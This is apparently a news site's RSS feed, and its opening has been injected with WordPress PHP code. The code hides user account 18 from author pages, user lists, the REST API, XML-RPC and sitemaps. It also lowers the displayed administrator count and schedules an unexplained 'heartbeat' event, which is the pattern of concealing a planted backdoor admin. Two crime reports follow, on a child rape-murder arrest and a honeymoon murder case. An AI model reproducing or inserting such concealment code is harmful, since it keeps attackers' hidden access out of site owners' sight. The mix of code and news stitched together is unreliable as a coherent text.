add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post UP Man Arrested After 18 Years for Rape and Murder of Five-Year-Old Girl appeared first on The Edge Media.
]]>The incident occurred in 2007 within the jurisdiction of the Manikpur police station, Assistant Commissioner of Police (Crime) Madan Ballal said.
The accused, identified as Nandlal alias Nandu Ramdas Vishwakarma, was 22 years old at the time of the offence.
Police said Vishwakarma was arrested on December 10 from his native village Khardauri in Siddharth Nagar district of Uttar Pradesh. After the crime, he had reportedly absconded to avoid arrest and remained untraceable for several years.
According to investigators, the accused allegedly lured the minor girl with the promise of a chocolate between late night on March 31, 2007, and the early hours of the following day. He is accused of sexually assaulting and physically attacking the child before strangling her to death.
Senior Inspector Aviraj Kurhade said the accused fled to Nepal soon after the incident and stayed there for a long period. He recently returned to Uttar Pradesh and was working as a labourer at a brick kiln when police traced him.
The Crime Detection Cell-2, Vasai, which had been conducting a parallel investigation along with the local police, received specific intelligence a few days ago that the accused was hiding in his home village.
Acting on the information, a police team was dispatched to Khardauri, leading to Vishwakarma’s arrest. Further investigation in the case is ongoing, officials added.
The post UP Man Arrested After 18 Years for Rape and Murder of Five-Year-Old Girl appeared first on The Edge Media.
]]>The post Court Frames Charges Against Five Accused in Murder of Raja Raghuvanshi in Meghalaya appeared first on The Edge Media.
]]>The five accused in the case include Sonam, Raghuvanshi’s wife, her boyfriend Raj Kushwaha, and the three hitmen—Vishal Chauhan, Akash Rajput, and Anand Kurmi—who are said to have been brought from Madhya Pradesh to execute the crime. All of the accused have denied the charges.
On Tuesday, the court formally framed charges against them under various sections of the Indian Penal Code, including Sections 103(1) (murder), 238(a) (disappearance of evidence), and 61(2) (criminal conspiracy).
Details of the Crime and Investigation
Raja Raghuvanshi, a resident of Indore, and his wife Sonam arrived in Shillong on May 21, before heading to Sohra for their honeymoon. However, on May 26, the couple went missing, prompting a widespread search operation by the Sohra police, the Special Operations Team, National Disaster Response Force (NDRF), State Disaster Response Force (SDRF), local trekking groups, and community members.
After several days of extensive searching, Raja Raghuvanshi’s body was found on June 2 in a deep gorge near the Wei Sawdong falls in Sohra. A case was registered at the Sohra police station, and the investigation began.
During the investigation, it was revealed that Sonam was involved in a romantic relationship with Raj Kushwaha. The two, along with the three hired hitmen, allegedly conspired to murder Raja during their honeymoon. According to the police, the killing was carried out by the three hitmen in the presence of Sonam, who is said to have been complicit in the crime.
The post Court Frames Charges Against Five Accused in Murder of Raja Raghuvanshi in Meghalaya appeared first on The Edge Media.
]]>